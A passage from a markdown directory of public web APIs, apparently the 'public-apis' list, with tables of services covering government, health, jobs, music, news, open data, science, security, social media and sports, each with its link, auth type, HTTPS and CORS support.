[IP2Location.io](https://www.ip2location.io) | Free IP geolocation API to geolocate user's location information | `apiKey` | Yes | Yes | | [IP2Proxy](https://www.ip2location.com/web-service/ip2proxy) | Detect proxy and VPN using IP address | `apiKey` | Yes | Unknown | | [IPGeolocationAPI.com](https://ipgeolocationapi.com/) | Locate your visitors by IP with country details | No | Yes | Yes | | [IPInfoDB](https://ipinfodb.com/api) | Free Geolocation tools and APIs for country, region, city and time zone lookup by IP address | `apiKey` | Yes | Unknown | | [ipstack](https://ipstack.com/) | Locate and identify website visitors by IP address | `apiKey` | Yes | Unknown | | [ipgeolocation](https://ipgeolocation.com/) | Find geolocation of any IP address with IP Geolocation API | `apiKey` | Yes | Yes | | [IsItWater](https://IsItWater.com/) | A free API to determine if a lat/lon is on water or land | `rapidapi-key` | Yes | Yes | | [Airtel IP](https://sys.airtel.lv/ip2country/1.1.1.1/?full=true) | IP Geolocation API. Collecting data from multiple sources | No | Yes | Unknown | | [Kwelo Network](https://www.kwelo.com/network/ip-address) | Locate and get detailed information on IP address | No | Yes | Yes | | [LocationIQ](https://locationiq.org/docs/) | Provides forward/reverse geocoding and batch geocoding | `apiKey` | Yes | Yes | | [Mapbox](https://www.mapbox.com/developers/) | Create/customize beautiful digital maps | `apiKey` | Yes | Unknown | | [Mexico](https://github.com/IcaliaLabs/sepomex) | Mexico RESTful zip codes API | No | Yes | Unknown | | [One Map, Singapore](https://docs.onemap.sg/) | Singapore Land Authority REST API services for Singapore addresses | `apiKey` | Yes | Unknown | | [OpenCage](https://opencagedata.com) | Forward and reverse geocoding using open data | `apiKey` | Yes | Yes | | [OpenStreetMap](http://wiki.openstreetmap.org/wiki/API) | Navigation, geolocation and geographical data | `OAuth` | No | Unknown | | [PostcodeData.nl](http://api.postcodedata.nl/v1/postcode/?postcode=1211EP&streetnumber=60&ref=domeinnaam.nl&type=json) | Provide geolocation data based on postcode for Dutch addresses | No | No | Unknown | | [Postcodes.io](https://postcodes.io) | Postcode lookup & Geolocation for the UK | No | Yes | Yes | | [REST Countries](https://restcountries.com) | Get information about countries via a RESTful API | No | Yes | Yes | | [SmartIP.io](https://smartip.io) | IP Geolocation and Threat Intelligence API | `apiKey` | Yes | Yes | | [Uebermaps](https://uebermaps.com/api/v2) | Discover and share maps with friends | `apiKey` | Yes | Unknown | | [US ZipCode](https://smartystreets.com/docs/cloud/us-zipcode-api) | Validate and append data for any US ZipCode | `apiKey` | Yes | Yes | | [ViaCep](https://viacep.com.br) | Brazil RESTful zip codes API | No | Yes | Unknown | | [ZipCodeAPI](https://www.zipcodeapi.com) | US zip code distance, radius and location API | `apiKey` | Yes | Unknown | | [Zippopotam](http://www.zippopotam.us) | Get information about place such as country, city, state, etc | No | No | Unknown | | [Ziptastic](https://ziptasticapi.com/) | Get the country, state, and city of any US zip-code | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Government | API | Description | Auth | HTTPS | CORS | | :---------------------------------------------------------------------------------: | ----------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [BCLaws](http://www.bclaws.ca/civix/template/complete/api/index.html) | Access to the laws of British Columbia | No | No | Unknown | | [BusinessUSA](https://business.usa.gov/developer) | Authoritative information on U.S. programs, events, services and more | `apiKey` | Yes | Unknown | | [Census.gov](https://www.census.gov/data/developers/data-sets.html) | The US Census Bureau provides various APIs and data sets on demographics and businesses | No | Yes | Unknown | | [City, Lyon Opendata](https://data.beta.grandlyon.com/fr/accueil) | Lyon(FR) City Open Data | `apiKey` | Yes | Unknown | | [City, Nantes Opendata](https://data.nantesmetropole.fr/pages/home/) | Nantes(FR) City Open Data | `apiKey` | Yes | Unknown | | [City, Prague Opendata](http://opendata.praha.eu/en) | Prague(CZ) City Open Data | No | No | Unknown | | [Code.gov](https://code.gov) | The primary platform for Open Source and code sharing for the U.S. Federal Government | `apiKey` | Yes | Unknown | | [Colorado Data Engine](http://codataengine.org/) | Formatted and geolocated Colorado public data | No | Yes | Unknown | | [Colorado Information Marketplace](https://data.colorado.gov/) | Colorado State Government Open Data | No | Yes | Unknown | | [Data USA](https://datausa.io/about/api/) | US Public Data | No | Yes | Unknown | | [Data.gov](https://api.data.gov/) | US Government Data | `apiKey` | Yes | Unknown | | [District of Columbia Open Data](http://opendata.dc.gov/pages/using-apis) | Contains D.C. government public datasets, including crime, GIS, financial data, and so on | No | Yes | Unknown | | [EPA](https://developer.epa.gov/category/apis/) | Web services and data sets from the US Environmental Protection Agency | No | Yes | Unknown | | [FEC](https://api.open.fec.gov/developers/) | Information on campaign donations in federal elections | `apiKey` | Yes | Unknown | | [Federal Register](https://www.federalregister.gov/reader-aids/developer-resources) | The Daily Journal of the United States Government | No | Yes | Unknown | | [Food Standards Agency](http://ratings.food.gov.uk/open-data/en-GB) | UK food hygiene rating data API | No | No | Unknown | | [Open Government, Australia](https://www.data.gov.au/) | Australian Government Open Data | No | Yes | Unknown | | [Open Government, Belgium](https://data.gov.be/) | Belgium Government Open Data | No | Yes | Unknown | | [Open Government, Canada](http://open.canada.ca/en) | Canadian Government Open Data | No | No | Unknown | | [Open Government, France](https://www.data.gouv.fr/) | French Government Open Data | `apiKey` | Yes | Unknown | | [Open Government, India](https://data.gov.in/) | Indian Government Open Data | `apiKey` | Yes | Unknown | | [Open Government, Italy](https://www.dati.gov.it/) | Italy Government Open Data | No | Yes | Unknown | | [Open Government, New Zealand](https://www.data.govt.nz/) | New Zealand Government Open Data | No | Yes | Unknown | | [Open Government, Poland](https://dane.gov.pl/en) | Poland Government Open Data | No | Yes | Unknown | | [Open Government, Romania](http://data.gov.ro/) | Romania Government Open Data | No | No | Unknown | | [Open Government, Taiwan](https://data.gov.tw/) | Taiwan Government Open Data | No | Yes | Unknown | | [Open Government, USA](https://www.data.gov/) | United States Government Open Data | No | Yes | Unknown | | [Represent by Open North](https://represent.opennorth.ca/) | Find Canadian Government Representatives | No | Yes | Unknown | | [USAspending.gov](https://api.usaspending.gov/) | US federal spending data | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Health | API | Description | Auth | HTTPS | CORS | | :---------------------------------------------------------------------------: | -------------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Diabetes](http://predictbgl.com/api/) | Logging and retrieving diabetes information | No | No | Unknown | | [Flutrack](http://www.flutrack.org/) | Influenza-like symptoms with geotracking | No | No | Unknown | | [Healthcare.gov](https://www.healthcare.gov/developers/) | Educational content about the US Health Insurance Marketplace | No | Yes | Unknown | | [ICD-10 Codes](https://clinicaltables.nlm.nih.gov/apidoc/icd10cm/v3/doc.html) | List of all healthcare diagnosis codes | No | Yes | Unknown | | [Lexigram](https://docs.lexigram.io/v1/welcome) | NLP that extracts mentions of clinical concepts from text, gives access to clinical ontology | `apiKey` | Yes | Unknown | | [Makeup](http://makeup-api.herokuapp.com/) | Makeup Information | No | No | Unknown | | [Medicare](https://data.medicare.gov/developers) | Access to the data from the CMS - medicare.gov | No | Yes | Unknown | | [NPPES](https://npiregistry.cms.hhs.gov/registry/help-api) | National Plan & Provider Enumeration System, info on healthcare providers registered in US | No | Yes | Unknown | | [Nutritionix](https://developer.nutritionix.com/) | Worlds largest verified nutrition database | `apiKey` | Yes | Unknown | | [openFDA](https://open.fda.gov) | Public FDA data about drugs, devices and foods | No | Yes | Unknown | | [USDA Nutrients](https://ndb.nal.usda.gov/ndb/doc/index) | National Nutrient Database for Standard Reference | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Jobs | API | Description | Auth | HTTPS | CORS | | :--------------------------------------------------------------------------------------: | -------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Adzuna](https://developer.adzuna.com/overview) | Job board aggregator | `apiKey` | Yes | Unknown | | [Careerjet](https://www.careerjet.com/partners/api/) | Job search engine | `apiKey` | No | Unknown | | [DevITjobs](https://devitjobs.us/api/jobsLight) | Jobs for software developers | No | Yes | Unknown | | [GraphQL Jobs](https://api.graphql.jobs) | Jobs with GraphQL | No | Yes | Yes | | [Indeed](https://www.indeed.com/publisher) | Job board aggregator | `apiKey` | Yes | Unknown | | [Jobs2Careers](http://api.jobs2careers.com/api/spec.pdf) | Job aggregator | `apiKey` | Yes | Unknown | | [Jooble](https://us.jooble.org/api/about) | Job search engine | `apiKey` | Yes | Unknown | | [Juju](http://www.juju.com/publisher/spec/) | Job search engine | `apiKey` | No | Unknown | | [Open Skills](https://github.com/workforce-data-initiative/skills-api/wiki/API-Overview) | Job titles, skills and related jobs data | No | No | Unknown | | [Reed](https://www.reed.co.uk/developers) | Job board aggregator | `apiKey` | Yes | Unknown | | [Search.gov Jobs](https://search.gov/developer/jobs.html) | Tap into a list of current jobs openings with the United States government | No | Yes | Unknown | | [The Muse](https://www.themuse.com/developers/api/v2) | Job board and company profiles | `apiKey` | Yes | Unknown | | [Upwork](https://developers.upwork.com/) | Freelance job board and management system | `OAuth` | Yes | Unknown | | [USAJOBS](https://developer.usajobs.gov/) | US government job board | `apiKey` | Yes | Unknown | | [ZipRecruiter](https://www.ziprecruiter.com/publishers) | Job search app and website | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Machine Learning | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------------------------------------: | ------------------------------------------------------- | :------: | :---: | :-----: | | [Cloudmersive](https://www.cloudmersive.com/image-recognition-and-processing-api) | Image captioning, face recognition, NSFW classification | `apiKey` | Yes | Yes | | [Deepcode](https://www.deepcode.ai/docs/Overview%252FOverview) | AI for code review | No | Yes | Unknown | | [Dialogflow](https://dialogflow.com) | Natural Language Processing | `apiKey` | Yes | Unknown | | [Keen IO](https://keen.io/) | Data Analytics | `apiKey` | Yes | Unknown | | [Time Door](https://timedoor.io) | A time series analysis API | `apiKey` | Yes | Yes | | [Unplugg](https://unplu.gg/test_api.html) | Forecasting API for timeseries data | `apiKey` | Yes | Unknown | | [Wit.ai](https://wit.ai/) | Natural Language Processing | `OAuth` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Music | API | Description | Auth | HTTPS | CORS | | :--------------------------------------------------------------------------------------------------------------: | --------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [AI Mastering](https://aimastering.com/api_docs/) | Automated Music Mastering | `apiKey` | Yes | Yes | | [Bandsintown](https://app.swaggerhub.com/apis/Bandsintown/PublicAPI/3.0.1) | Music Events | No | Yes | Unknown | | [Deezer](https://developers.deezer.com/api) | Music | `OAuth` | Yes | Unknown | | [Discogs](https://www.discogs.com/developers/) | Music | `OAuth` | Yes | Unknown | | [Freesound](https://freesound.org/docs/api/) | Music Samples | `apiKey` | Yes | Unknown | | [Genius](https://docs.genius.com/) | Crowdsourced lyrics and music knowledge | `OAuth` | Yes | Unknown | | [Genrenator](https://binaryjazz.us/genrenator-api/) | Music genre generator | No | Yes | Unknown | | [iTunes Search](https://affiliate.itunes.apple.com/resources/documentation/itunes-store-web-service-search-api/) | Software products | No | Yes | Unknown | | [Jamendo](https://developer.jamendo.com/v3.0/docs) | Music | `OAuth` | Yes | Unknown | | [KKBOX](https://developer.kkbox.com) | Get music libraries, playlists, charts, and perform out of KKBOX's platform | `OAuth` | Yes | Unknown | | [LastFm](https://www.last.fm/api) | Music | `apiKey` | Yes | Unknown | | [Lyrics.ovh](http://docs.lyricsovh.apiary.io/) | Simple API to retrieve the lyrics of a song | No | Yes | Unknown | | [Mixcloud](https://www.mixcloud.com/developers/) | Music | `OAuth` | Yes | Yes | | [MusicBrainz](https://musicbrainz.org/doc/Development/XML_Web_Service/Version_2) | Music | No | Yes | Unknown | | [Musixmatch](https://developer.musixmatch.com/) | Music | `apiKey` | Yes | Unknown | | [Openwhyd](https://openwhyd.github.io/openwhyd/API) | Download curated playlists of streaming tracks (YouTube, SoundCloud, etc...) | `No` | Yes | No | | [SearchLy](https://www.github.com/AlbertSuarez/searchly) | Similarities search based on song lyrics | `No` | Yes | Unknown | | [Songkick](https://www.songkick.com/developer/) | Music Events | `OAuth` | Yes | Unknown | | [Songsterr](https://www.songsterr.com/a/wa/api/) | Provides guitar, bass and drums tabs and chords | No | Yes | Unknown | | [SoundCloud](https://developers.soundcloud.com/) | Allow users to upload and share sounds | `OAuth` | Yes | Unknown | | [Spotify](https://beta.developer.spotify.com/documentation/web-api/) | View Spotify music catalog, manage users' libraries, get recommendations and more | `OAuth` | Yes | Unknown | | [TasteDive](https://tastedive.com/read/api) | Similar artist API (also works for movies and TV shows) | `apiKey` | Yes | Unknown | | [TheAudioDB](https://www.theaudiodb.com/api_guide.php) | Music | `apiKey` | Yes | Unknown | | [Vagalume](https://api.vagalume.com.br/docs/) | Crowdsourced lyrics and music knowledge | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### News | API | Description | Auth | HTTPS | CORS | | :-----------------------------------------------------------------: | ------------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Associated Press](https://developer.ap.org/) | Search for news and metadata from Associated Press | `apiKey` | Yes | Unknown | | [Chronicling America](http://chroniclingamerica.loc.gov/about/api/) | Provides access to millions of pages of historic US newspapers from the Library of Congress | No | No | Unknown | | [Currents](https://currentsapi.services/) | Latest news published in various news sources, blogs and forums | `apiKey` | Yes | Yes | | [Feedbin](https://github.com/feedbin/feedbin-api) | RSS reader | `OAuth` | Yes | Unknown | | [New York Times](https://developer.nytimes.com/) | Provides news | `apiKey` | Yes | Unknown | | [News](https://newsapi.org/) | Headlines currently published on a range of news sources and blogs | `apiKey` | Yes | Unknown | | [NPR One](http://dev.npr.org/api/) | Personalized news listening experience from NPR | `OAuth` | Yes | Unknown | | [The Guardian](http://open-platform.theguardian.com/) | Access all the content the Guardian creates, categorised by tags and section | `apiKey` | Yes | Unknown | | [The Old Reader](https://github.com/theoldreader/api) | RSS reader | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Open Data | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------------------------------: | -------------------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [18F](http://18f.github.io/API-All-the-X/) | Unofficial US Federal Government API Development | No | No | Unknown | | [Archive.org](https://archive.readme.io/docs) | The Internet Archive | No | Yes | Unknown | | [Callook.info](https://callook.info) | United States ham radio callsigns | No | Yes | Unknown | | [CARTO](https://carto.com/) | Location Information Prediction | `apiKey` | Yes | Unknown | | [CivicFeed](https://developers.civicfeed.com/) | News articles and public datasets | `apiKey` | Yes | Unknown | | [Enigma Public](http://docs.enigma.com/public/public_v20_api_about) | Broadest collection of public data | `apiKey` | Yes | Yes | | [fonoApi](https://fonoapi.freshpixl.com/) | Mobile Device Description | No | Yes | Unknown | | [French Address Search](https://geo.api.gouv.fr/adresse) | Address search via the French Government | No | Yes | Unknown | | [Fruits](https://fruits-api.netlify.app/graphql) | Information of fruit trees of the world | No | Yes | No | | [LinkPreview](https://www.linkpreview.net) | Get JSON formatted summary with title, description and preview image for any requested URL | `apiKey` | Yes | Yes | | [Marijuana Strains](http://strains.evanbusse.com/) | Marijuana strains, races, flavors and effects | `apiKey` | No | Unknown | | [Microlink.io](https://microlink.io) | Extract structured data from any website | No | Yes | Yes | | [OpenCorporates](http://api.opencorporates.com/documentation/API-Reference) | Data on corporate entities and directors in many countries | `apiKey` | Yes | Unknown | | [Quandl](https://www.quandl.com/) | Stock Market Data | No | Yes | Unknown | | [Recreation Information Database](https://ridb.recreation.gov/) | Recreational areas, federal lands, historic sites, museums, and other attractions/resources(US) | `apiKey` | Yes | Unknown | | [Scoop.it](http://www.scoop.it/dev) | Content Curation Service | `apiKey` | No | Unknown | | [Teleport](https://developers.teleport.org/) | Quality of Life Data | No | Yes | Unknown | | [Universities List](https://github.com/Hipo/university-domains-list) | University names, countries and domains | No | Yes | Unknown | | [University of Oslo](https://data.uio.no/) | Courses, lecture videos, detailed information for courses etc. for the University of Oslo (Norway) | No | Yes | Unknown | | [UPC database](https://upcdatabase.org/api) | More than 1.5 million barcode numbers from all around the world | `apiKey` | Yes | Unknown | | [Wikidata](https://www.wikidata.org/w/api.php?action=help) | Collaboratively edited knowledge base operated by the Wikimedia Foundation | `OAuth` | Yes | Unknown | | [Wikipedia](https://www.mediawiki.org/wiki/API:Main_page) | Mediawiki Encyclopedia | No | Yes | Unknown | | [Yelp](https://www.yelp.com/developers/documentation/v3) | Find Local Business | `OAuth` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Open Source Projects | API | Description | Auth | HTTPS | CORS | | :-----------------------------------------------------: | ------------------------------ | :------: | :---: | :-----: | | [Drupal.org](https://www.drupal.org/drupalorg/docs/api) | Drupal.org | No | Yes | Unknown | | [Evil Insult Generator](https://evilinsult.com/api) | Evil Insults | No | Yes | Yes | | [Libraries.io](https://libraries.io/api) | Open source software libraries | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Patent | API | Description | Auth | HTTPS | CORS | | :---------------------------------------------------------------------------: | --------------------------------- | :------: | :---: | :-----: | | [EPO](https://developers.epo.org/) | European patent search system api | `OAuth` | Yes | Unknown | | [TIPO](https://tiponet.tipo.gov.tw/Gazette/OpenData/OD/OD05.aspx?QryDS=API00) | Taiwan patent search system api | `apiKey` | Yes | Unknown | | [USPTO](https://www.uspto.gov/learning-and-resources/open-data-and-mobility) | USA patent api services | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Personality | API | Description | Auth | HTTPS | CORS | | :-----------------------------------------------------------------------: | ---------------------------------------------------------------------- | :------: | :---: | :-----: | | [Advice Slip](http://api.adviceslip.com/) | Generate random advice slips | No | Yes | Unknown | | [chucknorris.io](https://api.chucknorris.io) | JSON API for hand curated Chuck Norris jokes | No | Yes | Unknown | | [FavQs.com](https://favqs.com/api) | FavQs allows you to collect, discover and share your favorite quotes | `apiKey` | Yes | Unknown | | [FOAAS](http://www.foaas.com/) | Fuck Off As A Service | No | No | Unknown | | [Forismatic](http://forismatic.com/en/api/) | Inspirational Quotes | No | No | Unknown | | [Hindi Quotes](https://hindi-quotes.vercel.app/) | Get random Hindi quotes of different categories. | No | Yes | Yes | | [icanhazdadjoke](https://icanhazdadjoke.com/api) | The largest selection of dad jokes on the internet | No | Yes | Unknown | | [kanye.rest](https://kanye.rest) | REST API for random Kanye West quotes | No | Yes | Yes | | [Medium](https://github.com/Medium/medium-api-docs) | Community of readers and writers offering unique perspectives on ideas | `OAuth` | Yes | Unknown | | [Meme](https://github.com/D3vd/Meme_Api) | JSON API for a random meme scraped from reddit | No | Yes | Unknown | | [NaMoMemes](https://github.com/theIYD/NaMoMemes) | Memes on Narendra Modi | No | Yes | Unknown | | [Programming Quotes](https://programming-quotesapi.vercel.app/) | An api which generates quotes from programmers | No | Yes | Yes | | [Quote Garden](https://pprathameshmore.github.io/QuoteGarden/) | REST API for more than 5000 famous quotes | No | Yes | Unknown | | [Quotes on Design](https://quotesondesign.com/api/) | Inspirational Quotes | No | Yes | Unknown | | [Riddles API](https://riddles-api.vercel.app/) | Get random riddles on every API call. | No | Yes | Yes | | [Traitify](https://app.traitify.com/developer) | Assess, collect and analyze Personality | No | Yes | Unknown | | [tronalddump.io](https://www.tronalddump.io) | Api & web archive for the things Donald Trump has said | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Photography | API | Description | Auth | HTTPS | CORS | | :---------------------------------------------------: | ---------------------------------------------------------- | :------: | :---: | :-----: | | [Flickr](https://www.flickr.com/services/api/) | Flickr Services | `OAuth` | Yes | Unknown | | [Getty Images](http://developers.gettyimages.com/en/) | Build applications using the world's most powerful imagery | `OAuth` | Yes | Unknown | | [Gfycat](https://developers.gfycat.com/api/) | Jiffier GIFs | `OAuth` | Yes | Unknown | | [Giphy](https://developers.giphy.com/docs/) | Get all your gifs | `apiKey` | Yes | Unknown | | [Gyazo](https://gyazo.com/api/docs) | Upload images | `apiKey` | Yes | Unknown | | [Imgur](https://apidocs.imgur.com/) | Images | `OAuth` | Yes | Unknown | | [Lorem Picsum](https://picsum.photos/) | Images from Unsplash | No | Yes | Unknown | | [ObjectCut](https://objectcut.com/) | Image Background removal | `apiKey` | Yes | Yes | | [Pexels](https://www.pexels.com/api/) | Free Stock Photos and Videos | `apiKey` | Yes | Yes | | [Pixabay](https://pixabay.com/sk/service/about/api/) | Photography | `apiKey` | Yes | Unknown | | [PlaceKitten](https://placekitten.com/) | Resizable kitten placeholder images | No | Yes | Unknown | | [ScreenShotLayer](https://screenshotlayer.com) | URL 2 Image | No | Yes | Unknown | | [Unsplash](https://unsplash.com/developers) | Photography | `OAuth` | Yes | Unknown | | [Wallhaven](https://wallhaven.cc/help/api) | Wallpapers | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Science & Math | API | Description | Auth | HTTPS | CORS | | :----------------------------------------------------------------------------: | ------------------------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [arcsecond.io](https://api.arcsecond.io/) | Multiple astronomy data sources | No | Yes | Unknown | | [CORE](https://core.ac.uk/services#api) | Access the world's Open Access research papers | `apiKey` | Yes | Unknown | | [GBIF](http://api.gbif.org/v1/) | Global Biodiversity Information Facility | No | Yes | Yes | | [iDigBio](https://github.com/idigbio/idigbio-search-api/wiki) | Access millions of museum specimens from organizations around the world | No | Yes | Unknown | | [inspirehep.net](https://inspirehep.net/info/hep/api?ln=en) | High Energy Physics info. system | No | Yes | Unknown | | [ITIS](https://www.itis.gov/ws_description.html) | Integrated Taxonomic Information System | No | Yes | Unknown | | [Launch Library](https://launchlibrary.net/docs/1.3/api.html) | Upcoming Space Launches | No | Yes | Unknown | | [Minor Planet Center](http://www.asterank.com/mpc) | Asterank.com Information | No | No | Unknown | | [NASA](https://api.nasa.gov) | NASA data, including imagery | No | Yes | Unknown | | [Newton](https://newton.now.sh/) | Symbolic and Arithmetic Math Calculator | No | Yes | Unknown | | [Numbers](https://math.tools/api/numbers/) | Number of the day, random number generation, number facts and anything else you want to do with numbers | `apiKey` | Yes | Yes | | [Numbers](http://numbersapi.com) | Facts about numbers | No | No | Unknown | | [Open Notify](http://open-notify.org/Open-Notify-API/) | ISS astronauts, current location, etc | No | No | Unknown | | [Open Science Framework](https://developer.osf.io) | Repository and archive for study designs, research materials, data, manuscripts, etc | No | Yes | Unknown | | [SHARE](https://share.osf.io/api/v2/) | A free, open, dataset about research and scholarly activities | No | Yes | Unknown | | [SpaceX](https://github.com/r-spacex/SpaceX-API) | Company, vehicle, launchpad and launch data | No | Yes | Unknown | | [Sunrise and Sunset](https://sunrise-sunset.org/api) | Sunset and sunrise times for a given latitude and longitude | No | Yes | Unknown | | [USGS Earthquake Hazards Program](https://earthquake.usgs.gov/fdsnws/event/1/) | Earthquakes data real-time | No | Yes | Unknown | | [USGS Water Services](https://waterservices.usgs.gov/) | Water quality and level info for rivers and lakes | No | Yes | Unknown | | [World Bank](https://datahelpdesk.worldbank.org/knowledgebase/topics/125589) | World Data | No | No | Unknown | **[⬆ Back to Index](#index)** ### Security | API | Description | Auth | HTTPS | CORS | | :-----------------------------------------------------------------------------------------: | -------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Censys.io](https://censys.io/api) | Search engine for Internet connected host and devices | `apiKey` | Yes | No | | [CRXcavator](https://crxcavator.io/apidocs) | Chrome extension risk scoring | `apiKey` | Yes | Unknown | | [HaveIBeenPwned](https://haveibeenpwned.com/API/v3) | Passwords which have previously been exposed in data breaches | `apiKey` | Yes | Unknown | | [National Vulnerability Database](https://nvd.nist.gov/vuln/Data-Feeds/JSON-feed-changelog) | U.S. National Vulnerability Database | No | Yes | Unknown | | [SecurityTrails](https://securitytrails.com/corp/apidocs) | Domain and IP related information such as current and historical WHOIS and DNS records | `apiKey` | Yes | Unknown | | [Shodan](https://developer.shodan.io/) | Search engine for Internet connected devices | `apiKey` | Yes | Unknown | | [UK Police](https://data.police.uk/docs/) | UK Police data | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Shopping | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------------------------: | -------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Best Buy](https://bestbuyapis.github.io/api-documentation/#overview) | Products, Buying Options, Categories, Recommendations, Stores and Commerce | `apiKey` | Yes | Unknown | | [Bratabase](https://developers.bratabase.com/) | Database of different types of Bra Sizes | `OAuth` | Yes | Unknown | | [eBay](https://go.developer.ebay.com/) | Sell and Buy on eBay | `OAuth` | Yes | Unknown | | [Wegmans](https://dev.wegmans.io) | Wegmans Food Markets | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Social | API | Description | Auth | HTTPS | CORS | | :--------------------------------------------------------------------------: | ------------------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Buffer](https://buffer.com/developers/api) | Access to pending and sent updates in Buffer | `OAuth` | Yes | Unknown | | [Cisco Spark](https://developer.ciscospark.com) | Team Collaboration Software | `OAuth` | Yes | Unknown | | [Dangerous Discord Database](https://discord.riverside.rocks/docs/index.php) | Database of malicious Discord accounts | `apiKey` | Yes | Unknown | | [Discord](https://discordapp.com/developers/docs/intro) | Make bots for Discord, integrate Discord onto an external platform | `OAuth` | Yes | Unknown | | [Disqus](https://disqus.com/api/docs/auth/) | Communicate with Disqus data | `OAuth` | Yes | Unknown | | [Facebook](https://developers.facebook.com/) | Facebook Login, Share on FB, Social Plugins, Analytics and more | `OAuth` | Yes | Unknown | | [Foursquare](https://developer.foursquare.com/) | Interact with Foursquare users and places (geolocation-based checkins, photos, tips, events, etc) | `OAuth` | Yes | Unknown | | [Fuck Off as a Service](https://www.foaas.com) | Asks someone to fuck off | No | Yes | Unknown | | [Full Contact](https://www.fullcontact.com/developer/docs/) | Get Social Media profiles and contact Information | `OAuth` | Yes | Unknown | | [HackerNews](https://github.com/HackerNews/API) | Social news for CS and entrepreneurship | No | Yes | Unknown | | [Instagram](https://www.instagram.com/developer/) | Instagram Login, Share on Instagram, Social Plugins and more | `OAuth` | Yes | Unknown | | [Meetup.com](https://www.meetup.com/meetup_api/) | Data about Meetups from Meetup.com | `apiKey` | Yes | Unknown | | [MySocialApp](https://mysocialapp.io) | Seamless Social Networking features, API, SDK to any app | `apiKey` | Yes | Unknown | | [Open Collective](https://docs.opencollective.com/help/developers/api) | Get Open Collective data | No | Yes | Unknown | | [Pinterest](https://developers.pinterest.com/) | The world's catalog of ideas | `OAuth` | Yes | Unknown | | [PWRTelegram bot](https://pwrtelegram.xyz) | Boosted version of the Telegram bot API | `apiKey` | Yes | Unknown | | [Reddit](https://www.reddit.com/dev/api) | Homepage of the internet | `OAuth` | Yes | Unknown | | [Slack](https://api.slack.com/) | Team Instant Messaging | `OAuth` | Yes | Unknown | | [Telegram Bot](https://core.telegram.org/bots/api) | Simplified HTTP version of the MTProto API for bots | `OAuth` | Yes | Unknown | | [Telegram MTProto](https://core.telegram.org/api#getting-started) | Read and write Telegram data | `apiKey` | Yes | Unknown | | [Trash Nothing](https://trashnothing.com/developer) | A freecycling community with thousands of free items posted every day | `OAuth` | Yes | Yes | | [Tumblr](https://www.tumblr.com/docs/en/api/v2) | Read and write Tumblr Data | `OAuth` | Yes | Unknown | | [Twitch](https://dev.twitch.tv/docs) | Game Streaming API | `OAuth` | Yes | Unknown | | [Twitter](https://developer.twitter.com/en/docs) | Read and write Twitter data | `OAuth` | Yes | No | | [vk](https://vk.com/dev/sites) | Read and write vk data | `OAuth` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Sports & Fitness | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------------------------: | ------------------------------------------------------------------------------------------- | :-------------: | :---: | :-----: | | [balldontlie](https://balldontlie.io) | Ballldontlie provides access to stats data from the NBA | No | Yes | Yes | | [BikeWise](https://www.bikewise.org/documentation/api_v2) | Bikewise is a place to learn about and report bike crashes, hazards and thefts | No | Yes | Unknown | | [Canadian Football League (CFL)](http://api.cfl.ca/) | Official JSON API providing real-time league, team and player statistics about the CFL | `apiKey` | Yes | No | | [Cartola FC](https://github.com/wgenial/cartrolandofc) | The Cartola FC API serves to check the partial points of your team | No | Yes | Unknown | | [City Bikes](http://api.citybik.es/v2/) | City Bikes around the world | No | No | Unknown | | [Ergast F1](http://ergast.com/mrd/) | F1 data from the beginning of the world championships in 1950 | No | Yes | Unknown | | [Fitbit](https://dev.fitbit.com/) | Fitbit Information | `OAuth` | Yes | Unknown | | [Football (Soccer) Videos](https://www.scorebat.com/video-api/) | Embed codes for goals and highlights from Premier League, Bundesliga, Serie A and many more | No | Yes | Yes | | [Football Prediction](https://boggio-analytics.com/fp-api/) | Predictions for upcoming football matches, odds, results and stats | `X-Mashape-Key` | Yes | Unknown | | [Football-Data.org](http://api.football-data.org/index) | Football Data | No | No | Unknown | | [JCDecaux Bike](https://developer.jcdecaux.com/) | JCDecaux's self-service bicycles | `apiKey` | Yes | Unknown | | [NBA Stats](https://any-api.com/nba_com/nba_com/docs/API_Description) | Current and historical NBA Statistics | No | Yes | Unknown | | [NHL Records and Stats](https://gitlab.com/dword4/nhlapi) | NHL historical data and statistics | No | Yes | Unknown | | [Sport List & Data](https://developers.decathlon.com/products/sports) | List of and ressources related to sports | No | Yes | Yes | | [Strava](https://strava.github.io/api/) | Connect with athletes, activities and more | `OAuth` | Yes | Unknown | | [SuredBits](https://suredbits.com/api/) | Query sports data, including teams, players, games, scores and statistics | No | No | No | | [TheSportsDB](https://www.thesportsdb.com/api.php) | Crowd-Sourced Sports Data and Artwork | `apiKey` | Yes | Yes | | [Wger](https://wger.de/en/software/api) | Workout manager data as exercises, muscles or equipment | `apiKey` | Yes | Unknown | | [CricData](https://cricketdata.org/) | Ultimate Cricket data API - Score, Scorecard, Players data, Fantasy API | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Test Data | API | Description | Auth | HTTPS | CORS | | :--------------------------------------------------------------: | ------------------------------------------------------------------------ | :------: | :---: | :-----: | | [Bacon Ipsum](https://baconipsum.com/json-api/) | A Meatier Lorem 